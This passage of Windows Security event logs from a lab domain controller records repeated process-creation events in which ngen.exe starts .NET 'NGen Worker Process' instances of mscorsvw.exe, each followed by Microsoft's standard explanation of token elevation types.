privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255197 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 838 -Pipe 1d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255206 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 368 -Pipe 264 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255205 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2c0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255204 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xde8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 288 -Pipe 2a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255203 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2c4 -Pipe 2f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255202 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 0 -NGENProcess 31c -Pipe 83c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255210 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2e4 -Pipe 2b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255209 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b0 -InterruptEvent 0 -NGENProcess 368 -Pipe 2c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255208 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 31c -Pipe 838 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255207 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 288 -Pipe 2e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255212 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2b0 -Pipe 2e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 82c -InterruptEvent 0 -NGENProcess 1e4 -Pipe 308 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255216 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 260 -InterruptEvent 0 -NGENProcess 368 -Pipe 29c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255215 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 7e8 -Pipe 268 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255214 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 250 -Pipe 31c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255213 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory 